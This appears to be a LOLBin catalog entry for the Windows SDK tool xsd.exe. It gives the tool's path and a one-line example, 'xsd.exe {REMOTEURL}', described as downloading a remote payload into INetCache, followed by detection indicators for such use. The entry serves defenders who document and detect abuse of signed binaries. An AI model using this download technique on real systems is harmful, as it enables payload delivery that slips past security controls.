windows enabled community medium v1.0.0

xsd

XML Schema Definition Tool included with the Windows Software Development Kit (SDK). Located at: C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\bin\NETFX <version> Tools\xsd.exe.

📋 Live Preview 
xsd
xsd

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Downloads payload from remote server (It will download a remote payload and place it in INetCache)

xsd.exe {REMOTEURL}

Detection

TypeRule / Indicator
ioc URL on a xsd.exe command line
ioc xsd.exe making unexpected network connections or DNS requests

Documentation

xsd

xsd is a Windows LOLBin. XML Schema Definition Tool included with the Windows Software Development Kit (SDK). Located at: C:\Program Files (x86)\Microsoft SDKs\Windows<version>\bin\NETFX Tools\xsd.exe.